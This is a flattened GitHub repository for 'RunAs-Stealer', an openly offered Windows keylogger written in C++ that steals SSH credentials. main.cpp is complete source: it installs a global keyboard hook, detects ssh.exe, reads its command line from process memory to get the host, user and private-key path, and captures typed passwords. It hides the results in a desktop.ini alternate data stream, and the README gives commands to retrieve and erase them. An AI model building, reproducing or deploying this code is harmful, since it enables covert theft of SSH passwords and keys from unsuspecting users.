├── sshKeylogger ├── sshKeylogger │ ├── sshKeylogger.vcxproj.user │ ├── sshKeylogger.vcxproj.filters │ ├── sshKeylogger.vcxproj │ └── main.cpp └── sshKeylogger.sln ├── README.md └── LICENSE /sshKeylogger/sshKeylogger/sshKeylogger.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RunAs-Stealer 2 | Smart keylogging capability to steal SSH Credentials including password & Private Key 3 | 4 | ## Usage 5 | 6 | The stolen credentials are written to `C:\Users\\Desktop\desktop.ini` ADS `log` stream. 7 | 8 | To get the credentials type the cmd command: 9 | ```shell 10 | more < "C:\Users\\Desktop\desktop.ini:log" 11 | ``` 12 | To remove the stored credentials type the powershell command: 13 | ```powershell 14 | Remove-Item -Path "C:\Users\d1rk\Desktop\desktop.ini" -Stream "log" 15 | ``` 16 | 17 | ***N.B: Refer to the Demo down below for each use case*** 18 | 19 | 20 | 21 | #### Demo 22 | https://github.com/user-attachments/assets/b6558b62-08ad-4efe-9757-1e1113808a0a 23 | -------------------------------------------------------------------------------- /sshKeylogger/sshKeylogger/sshKeylogger.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Dark Space Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /sshKeylogger/sshKeylogger.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.8.34408.163 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sshKeylogger", "sshKeylogger\sshKeylogger.vcxproj", "{86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x64.ActiveCfg = Debug|x64 17 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x64.Build.0 = Debug|x64 18 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x86.ActiveCfg = Debug|Win32 19 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Debug|x86.Build.0 = Debug|Win32 20 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x64.ActiveCfg = Release|x64 21 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x64.Build.0 = Release|x64 22 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x86.ActiveCfg = Release|Win32 23 | {86CFB31B-69AE-483E-8DD9-F8F5A82AEF13}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {499B8499-DF4A-4165-BC82-751599EC85E7} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /sshKeylogger/sshKeylogger/sshKeylogger.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {86cfb31b-69ae-483e-8dd9-f8f5a82aef13} 25 | sshKeylogger 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreaded 122 | 123 | 124 | Console 125 | true 126 | true 127 | false 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /sshKeylogger/sshKeylogger/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #pragma warning (disable: 4996) 10 | #define _CRT_SECURE_NO_WARNINGS 11 | 12 | char ADS_FILE_PATH[MAX_PATH]; 13 | char* globalBuffer = NULL; 14 | size_t globalBufferSize = 0; 15 | BOOL shouldLog = FALSE; 16 | int lastPID = 0; 17 | BOOL capturePassword = FALSE; 18 | char passwordBuffer[1024]; 19 | size_t passwordBufferIndex = 0; 20 | 21 | typedef NTSTATUS(WINAPI* _NtQueryInformationProcess)( 22 | HANDLE ProcessHandle, 23 | ULONG ProcessInformationClass, 24 | PVOID ProcessInformation, 25 | ULONG ProcessInformationLength, 26 | PULONG ReturnLength 27 | ); 28 | 29 | void InitializeADSPath() { 30 | char userPath[MAX_PATH]; 31 | if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_DESKTOP, NULL, 0, userPath))) { 32 | sprintf_s(ADS_FILE_PATH, sizeof(ADS_FILE_PATH), "%s\\desktop.ini:log", userPath); 33 | } 34 | } 35 | 36 | #define RED_TEXT "\x1b[31m" 37 | #define RESET_TEXT "\x1b[0m" 38 | 39 | #define RED_TEXT "\x1b[31m" 40 | #define RESET_TEXT "\x1b[0m" 41 | 42 | void WriteREDToADS(const char* data) { 43 | if (!data) return; 44 | 45 | char resolvedPath[MAX_PATH]; 46 | if (!ExpandEnvironmentStringsA(ADS_FILE_PATH, resolvedPath, MAX_PATH)) { 47 | return; 48 | } 49 | 50 | HANDLE hFile = CreateFileA( 51 | resolvedPath, 52 | FILE_APPEND_DATA, 53 | FILE_SHARE_READ | FILE_SHARE_WRITE, 54 | NULL, 55 | OPEN_ALWAYS, 56 | FILE_ATTRIBUTE_NORMAL, 57 | NULL 58 | ); 59 | 60 | if (hFile != INVALID_HANDLE_VALUE) { 61 | DWORD bytesWritten; 62 | 63 | // Write red-colored text 64 | WriteFile(hFile, RED_TEXT, (DWORD)strlen(RED_TEXT), &bytesWritten, NULL); 65 | WriteFile(hFile, data, (DWORD)strlen(data), &bytesWritten, NULL); 66 | WriteFile(hFile, RESET_TEXT, (DWORD)strlen(RESET_TEXT), &bytesWritten, NULL); 67 | 68 | CloseHandle(hFile); 69 | } 70 | } 71 | 72 | 73 | void WriteToADS(const char* data) { 74 | if (!data) return; 75 | 76 | char resolvedPath[MAX_PATH]; 77 | if (!ExpandEnvironmentStringsA(ADS_FILE_PATH, resolvedPath, MAX_PATH)) { 78 | return; 79 | } 80 | 81 | HANDLE hFile = CreateFileA( 82 | resolvedPath, 83 | FILE_APPEND_DATA, 84 | FILE_SHARE_READ | FILE_SHARE_WRITE, 85 | NULL, 86 | OPEN_ALWAYS, 87 | FILE_ATTRIBUTE_NORMAL, 88 | NULL 89 | ); 90 | 91 | if (hFile != INVALID_HANDLE_VALUE) { 92 | DWORD bytesWritten; 93 | WriteFile(hFile, data, (DWORD)strlen(data), &bytesWritten, NULL); 94 | CloseHandle(hFile); 95 | } 96 | } 97 | 98 | void appendToGlobalBuffer(const char* data) { 99 | if (!shouldLog || !data) return; 100 | 101 | size_t dataLen = strlen(data); 102 | if (dataLen == 0) return; 103 | 104 | size_t newSize = globalBufferSize + dataLen + 1; 105 | char* newBuffer = (char*)realloc(globalBuffer, newSize); 106 | if (newBuffer) { 107 | globalBuffer = newBuffer; 108 | if (globalBufferSize == 0) { 109 | strcpy_s(globalBuffer, newSize, data); 110 | } 111 | else { 112 | strcat_s(globalBuffer, newSize, data); 113 | } 114 | globalBufferSize = newSize; 115 | WriteToADS(data); 116 | } 117 | } 118 | 119 | 120 | 121 | int GetCommandLineByPID(DWORD pid) { 122 | int result = 0; 123 | HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid); 124 | if (!hProcess) return -1; 125 | 126 | _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); 127 | PROCESS_BASIC_INFORMATION pbi; 128 | ULONG returnLength; 129 | NTSTATUS status = NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), &returnLength); 130 | if (status != 0) { 131 | CloseHandle(hProcess); 132 | return -1; 133 | } 134 | 135 | PEB peb; 136 | if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL)) { 137 | CloseHandle(hProcess); 138 | return -1; 139 | } 140 | 141 | RTL_USER_PROCESS_PARAMETERS procParams; 142 | if (!ReadProcessMemory(hProcess, peb.ProcessParameters, &procParams, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) { 143 | CloseHandle(hProcess); 144 | return -1; 145 | } 146 | 147 | WCHAR* commandLine = (WCHAR*)malloc(procParams.CommandLine.Length + sizeof(WCHAR)); 148 | if (!commandLine) { 149 | CloseHandle(hProcess); 150 | return -1; 151 | } 152 | 153 | if (!ReadProcessMemory(hProcess, procParams.CommandLine.Buffer, commandLine, procParams.CommandLine.Length, NULL)) { 154 | free(commandLine); 155 | CloseHandle(hProcess); 156 | return -1; 157 | } 158 | commandLine[procParams.CommandLine.Length / sizeof(WCHAR)] = L'\0'; 159 | 160 | int argc; 161 | LPWSTR* argv = CommandLineToArgvW(commandLine, &argc); 162 | if (!argv) { 163 | free(commandLine); 164 | CloseHandle(hProcess); 165 | return -1; 166 | } 167 | 168 | BOOL hasI = FALSE; 169 | LPWSTR keyPathW = NULL; 170 | LPWSTR destinationW = NULL; 171 | 172 | for (int i = 0; i < argc; i++) { 173 | if (wcscmp(argv[i], L"-i") == 0 && (i + 1 < argc)) { 174 | hasI = TRUE; 175 | keyPathW = argv[i + 1]; 176 | result = 1; 177 | break; 178 | } 179 | } 180 | 181 | if (argc > 0) { 182 | destinationW = argv[argc - 1]; 183 | } 184 | 185 | char destinationA[256] = { 0 }; 186 | char userA[256] = { 0 }; 187 | char hostA[256] = { 0 }; 188 | if (destinationW) { 189 | WideCharToMultiByte(CP_ACP, 0, destinationW, -1, destinationA, sizeof(destinationA), NULL, NULL); 190 | char* atPos = strchr(destinationA, '@'); 191 | if (atPos) { 192 | *atPos = '\0'; 193 | strcpy_s(userA, sizeof(userA), destinationA); 194 | strcpy_s(hostA, sizeof(hostA), atPos + 1); 195 | } 196 | else { 197 | strcpy_s(hostA, sizeof(hostA), destinationA); 198 | } 199 | } 200 | 201 | if (hasI) { 202 | char keyPathA[MAX_PATH] = { 0 }; 203 | if (keyPathW) { 204 | WideCharToMultiByte(CP_ACP, 0, keyPathW, -1, keyPathA, sizeof(keyPathA), NULL, NULL); 205 | char logEntry[MAX_PATH + 256]; 206 | snprintf(logEntry, sizeof(logEntry), "\n============================\n[PrivateKey] IP=%s, User=%s, KeyPath=%s\n============================\n", hostA, userA, keyPathA); 207 | WriteREDToADS(logEntry); 208 | } 209 | } 210 | else { 211 | char logEntry[256]; 212 | snprintf(logEntry, sizeof(logEntry), "\n============================\n[Password] IP=%s, User=%s\n", hostA, userA); 213 | WriteREDToADS(logEntry); 214 | capturePassword = TRUE; 215 | passwordBufferIndex = 0; 216 | memset(passwordBuffer, 0, sizeof(passwordBuffer)); 217 | } 218 | 219 | LocalFree(argv); 220 | free(commandLine); 221 | CloseHandle(hProcess); 222 | 223 | return result; 224 | } 225 | 226 | 227 | 228 | DWORD IsProcessRunning(const wchar_t* procName) { 229 | DWORD procId = 0; 230 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 231 | if (hSnap != INVALID_HANDLE_VALUE) { 232 | PROCESSENTRY32 pe32; 233 | pe32.dwSize = sizeof(PROCESSENTRY32); 234 | if (Process32First(hSnap, &pe32)) { 235 | do { 236 | if (!_wcsicmp(procName, pe32.szExeFile)) { 237 | procId = pe32.th32ProcessID; 238 | break; 239 | } 240 | } while (Process32Next(hSnap, &pe32)); 241 | } 242 | CloseHandle(hSnap); 243 | } 244 | return procId; 245 | } 246 | 247 | void keylogit(int vkCode, BOOL shiftPressed) { 248 | if (!shouldLog) return; 249 | 250 | char buffer[20] = { 0 }; 251 | BOOL isLetter = TRUE; 252 | 253 | switch (vkCode) { 254 | case VK_BACK: strcpy_s(buffer, sizeof(buffer), ""); isLetter = FALSE; break; 255 | case VK_RETURN: strcpy_s(buffer, sizeof(buffer), "\n"); isLetter = FALSE; break; 256 | case VK_SPACE: strcpy_s(buffer, sizeof(buffer), " "); isLetter = FALSE; break; 257 | case VK_OEM_PLUS: shiftPressed ? strcpy_s(buffer, "+") : strcpy_s(buffer, "="); isLetter = FALSE; break; 258 | case VK_OEM_COMMA: shiftPressed ? strcpy_s(buffer, "<") : strcpy_s(buffer, ","); isLetter = FALSE; break; 259 | case VK_OEM_MINUS: shiftPressed ? strcpy_s(buffer, "_") : strcpy_s(buffer, "-"); isLetter = FALSE; break; 260 | case VK_OEM_PERIOD: shiftPressed ? strcpy_s(buffer, ">") : strcpy_s(buffer, "."); isLetter = FALSE; break; 261 | case VK_OEM_1: shiftPressed ? strcpy_s(buffer, ":") : strcpy_s(buffer, ";"); isLetter = FALSE; break; 262 | case VK_OEM_2: shiftPressed ? strcpy_s(buffer, "?") : strcpy_s(buffer, "/"); isLetter = FALSE; break; 263 | case VK_OEM_3: shiftPressed ? strcpy_s(buffer, "~") : strcpy_s(buffer, "`"); isLetter = FALSE; break; 264 | case VK_OEM_4: shiftPressed ? strcpy_s(buffer, "{") : strcpy_s(buffer, "["); isLetter = FALSE; break; 265 | case VK_OEM_5: shiftPressed ? strcpy_s(buffer, "|") : strcpy_s(buffer, "\\"); isLetter = FALSE; break; 266 | case VK_OEM_6: shiftPressed ? strcpy_s(buffer, "}") : strcpy_s(buffer, "]"); isLetter = FALSE; break; 267 | case VK_OEM_7: shiftPressed ? strcpy_s(buffer, "\"") : strcpy_s(buffer, "'"); isLetter = FALSE; break; 268 | default: 269 | if (vkCode >= 0x41 && vkCode <= 0x5A) { 270 | BOOL capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; 271 | if (capsLock ^ shiftPressed) { 272 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode); 273 | } 274 | else { 275 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode + 0x20); 276 | } 277 | } 278 | else if (vkCode >= 0x30 && vkCode <= 0x39) { 279 | if (shiftPressed) { 280 | const char* shiftNums[] = { ")", "!", "@", "#", "$", "%", "^", "&", "*", "(" }; 281 | sprintf_s(buffer, sizeof(buffer), shiftNums[vkCode - 0x30]); 282 | } 283 | else { 284 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode); 285 | } 286 | } 287 | else { 288 | isLetter = FALSE; 289 | } 290 | break; 291 | } 292 | 293 | if (isLetter && buffer[0] != '\0') { 294 | appendToGlobalBuffer(buffer); 295 | } 296 | else if (!isLetter && buffer[0] != '\0') { 297 | appendToGlobalBuffer(buffer); 298 | } 299 | } 300 | 301 | int contains_i; 302 | 303 | void MonitorProcess() { 304 | while (1) { 305 | DWORD pid = IsProcessRunning(L"ssh.exe"); 306 | shouldLog = (pid != 0); 307 | if (shouldLog) { 308 | GetCommandLineByPID(pid); 309 | lastPID = pid; 310 | return; 311 | } 312 | Sleep(2000); 313 | } 314 | } 315 | 316 | LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { 317 | if (nCode >= HC_ACTION && shouldLog) { 318 | PKBDLLHOOKSTRUCT kbdStruct = (PKBDLLHOOKSTRUCT)lParam; 319 | int vkCode = kbdStruct->vkCode; 320 | BOOL shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; 321 | 322 | if (wParam == WM_KEYDOWN) { 323 | DWORD checkPid = IsProcessRunning(L"ssh.exe"); 324 | if (checkPid != lastPID) { 325 | contains_i = GetCommandLineByPID(checkPid); 326 | printf("contains_i = %d\n", contains_i); 327 | lastPID = checkPid; 328 | if (contains_i == 0) { 329 | capturePassword = TRUE; 330 | } 331 | else { 332 | capturePassword = FALSE; 333 | } 334 | 335 | passwordBufferIndex = 0; 336 | } 337 | 338 | if (capturePassword && contains_i == 0) { 339 | if (vkCode == VK_RETURN) { 340 | if (passwordBufferIndex > 0) { 341 | char logEntry[1024]; 342 | snprintf(logEntry, sizeof(logEntry), "%s\n============================\n", passwordBuffer); 343 | WriteREDToADS(logEntry); 344 | capturePassword = FALSE; 345 | passwordBufferIndex = 0; 346 | contains_i = -1; 347 | 348 | } 349 | } 350 | else if (vkCode == VK_BACK) { 351 | if (passwordBufferIndex > 0) { 352 | passwordBuffer[--passwordBufferIndex] = '\0'; 353 | } 354 | } 355 | else { 356 | char buffer[20] = { 0 }; 357 | BOOL isLetter = TRUE; 358 | 359 | switch (vkCode) { 360 | case VK_SPACE: strcpy_s(buffer, sizeof(buffer), " "); isLetter = FALSE; break; 361 | case VK_OEM_PLUS: shiftPressed ? strcpy_s(buffer, "+") : strcpy_s(buffer, "="); isLetter = FALSE; break; 362 | case VK_OEM_COMMA: shiftPressed ? strcpy_s(buffer, "<") : strcpy_s(buffer, ","); isLetter = FALSE; break; 363 | case VK_OEM_MINUS: shiftPressed ? strcpy_s(buffer, "_") : strcpy_s(buffer, "-"); isLetter = FALSE; break; 364 | case VK_OEM_PERIOD: shiftPressed ? strcpy_s(buffer, ">") : strcpy_s(buffer, "."); isLetter = FALSE; break; 365 | case VK_OEM_1: shiftPressed ? strcpy_s(buffer, ":") : strcpy_s(buffer, ";"); isLetter = FALSE; break; 366 | case VK_OEM_2: shiftPressed ? strcpy_s(buffer, "?") : strcpy_s(buffer, "/"); isLetter = FALSE; break; 367 | case VK_OEM_3: shiftPressed ? strcpy_s(buffer, "~") : strcpy_s(buffer, "`"); isLetter = FALSE; break; 368 | case VK_OEM_4: shiftPressed ? strcpy_s(buffer, "{") : strcpy_s(buffer, "["); isLetter = FALSE; break; 369 | case VK_OEM_5: shiftPressed ? strcpy_s(buffer, "|") : strcpy_s(buffer, "\\"); isLetter = FALSE; break; 370 | case VK_OEM_6: shiftPressed ? strcpy_s(buffer, "}") : strcpy_s(buffer, "]"); isLetter = FALSE; break; 371 | case VK_OEM_7: shiftPressed ? strcpy_s(buffer, "\"") : strcpy_s(buffer, "'"); isLetter = FALSE; break; 372 | default: 373 | if (vkCode >= 0x41 && vkCode <= 0x5A) { 374 | BOOL capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; 375 | if (capsLock ^ shiftPressed) { 376 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode); 377 | } 378 | else { 379 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode + 0x20); 380 | } 381 | } 382 | else if (vkCode >= 0x30 && vkCode <= 0x39) { 383 | if (shiftPressed) { 384 | const char* shiftNums[] = { ")", "!", "@", "#", "$", "%", "^", "&", "*", "(" }; 385 | sprintf_s(buffer, sizeof(buffer), shiftNums[vkCode - 0x30]); 386 | } 387 | else { 388 | sprintf_s(buffer, sizeof(buffer), "%c", vkCode); 389 | } 390 | } 391 | else { 392 | isLetter = FALSE; 393 | } 394 | break; 395 | } 396 | 397 | if (isLetter && buffer[0] != '\0' && passwordBufferIndex < sizeof(passwordBuffer) - 1) { 398 | passwordBuffer[passwordBufferIndex++] = buffer[0]; 399 | passwordBuffer[passwordBufferIndex] = '\0'; 400 | } 401 | } 402 | } 403 | else { 404 | keylogit(vkCode, shiftPressed); 405 | } 406 | } 407 | } 408 | return CallNextHookEx(NULL, nCode, wParam, lParam); 409 | } 410 | 411 | int main() { 412 | InitializeADSPath(); 413 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorProcess, NULL, 0, NULL); 414 | 415 | HHOOK kbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProc, GetModuleHandle(NULL), 0); 416 | if (!kbdHook) { 417 | return 1; 418 | } 419 | 420 | MSG msg; 421 | while (GetMessage(&msg, NULL, 0, 0)) { 422 | TranslateMessage(&msg); 423 | DispatchMessage(&msg); 424 | } 425 | 426 | UnhookWindowsHookEx(kbdHook); 427 | return 0; 428 | } --------------------------------------------------------------------------------